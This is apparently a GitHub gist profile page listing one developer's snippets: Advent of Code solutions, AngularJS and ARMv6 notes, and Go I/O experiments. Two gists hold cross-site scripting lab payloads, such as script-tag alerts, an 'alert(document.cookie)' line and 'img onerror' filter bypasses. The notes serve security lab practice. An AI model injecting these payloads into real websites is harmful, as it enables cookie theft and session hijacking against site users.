Skip to content

Instantly share code, notes, and snippets.

View plvhx's full-sized avatar
🏠
Working from home

Paulus Gandung Prakosa plvhx

🏠
Working from home
View GitHub Profile
@plvhx
plvhx / day2_part2.js
Created January 20, 2021 16:04
advent of code 2020 day 2 part 2
const fs = require('fs')
const splitted = fs.readFileSync('./input.txt', 'utf-8').split(String.fromCharCode(0x0a))
function buildDictionary(splt) {
let dict = []
splt.forEach((el, i) => {
if (!el.length) {
return
}
@plvhx
plvhx / day2_part1.js
Created January 20, 2021 09:03
advent of code 2020 day 2 part 1
const fs = require('fs')
const splitted = fs.readFileSync('./input.txt', 'utf-8').split(String.fromCharCode(0x0a))
function buildDictionary(splt) {
let dict = []
splt.forEach((el) => {
if (el.length === 0) {
return;
}
@plvhx
plvhx / angularJS-grimoire.txt
Last active January 5, 2021 06:22
angularJS necromancy.
Don't worry, it will be updated periodically.
general control-flow-graph.
--------------------
- normal binding step (ng-bind or '{{ }}')
- start
- mutate existing DOM element with angular.element (see last line of uncompressed source code)
- in 'bind:', check if event.preventDefault is set to 'false', then assign callback
which set event.returnValue = false (in IE) in event.preventDefault
- in 'bind:', check if event.stopPropagation is set to 'false', then assign callback
@plvhx
plvhx / whatever.txt
Created January 3, 2021 16:30
xss fun!
(1) Lab: Reflected XSS into HTML context with nothing encoded
--------------------
solution: <script>alert(1)</script>
--------------------
(2) Lab: Reflected XSS into HTML context with most tags and attributes blocked
--------------------
--------------------
allowed global DOM tags
@plvhx
plvhx / foo.txt
Created December 30, 2020 09:19
'xss' and chill..
[no protection]
--------------------
<script>alert(1)</script>
<script>alert(document.cookie)</script>
<script>alert(navigator.userAgent)</script>
--------------------
['script' tag prohibition]
--------------------
<img src=x onerror=alert(1)>
@plvhx
plvhx / fp_and_fe.s
Created May 22, 2020 15:35
ARMv6 function prologue and function epilogue
[function prologue]
push {r11} -> push current value in r11 (frame pointer) to stack
add r11, sp, #0 -> add value of stack pointer with 0 and move to r11
[function epilogue]
add sp, r11, #0 -> add value of r11 register with 0 and move to sp
pop {r11} -> pop current pushed value in function prologue back to r11 (frame pointer)
bx lr -> branch and exchange to link regs. (same as 'ret' or 'retf' in intel 80386 arch)
@plvhx
plvhx / read_msg_ip.go
Last active May 4, 2020 00:00
log all tcp traffic in my local machine
package main
import (
"fmt"
"net"
)
func main() {
ip, err := net.ResolveIPAddr("ip", "127.0.0.1")
@plvhx
plvhx / read_and_write.go
Created April 24, 2020 14:38
io.ReadCloser and io.WriteCloser being wrapped together in io.TeeReader
package main
import (
"errors"
"fmt"
"io"
"io/ioutil"
"log"
)
@plvhx
plvhx / read_then_close.go
Created April 19, 2020 14:08
slight implementation of io.Read and io.Close
package main
import (
"errors"
"fmt"
"io"
"sync/atomic"
)
const (
@plvhx
plvhx / complete_and_probably_lame.go
Last active April 18, 2020 15:10
complete (probably lame) implementation of io.Reader and io.Writer
package main
import (
"fmt"
"io"
"sync/atomic"
)
type WriteStreamContract interface {
io.Writer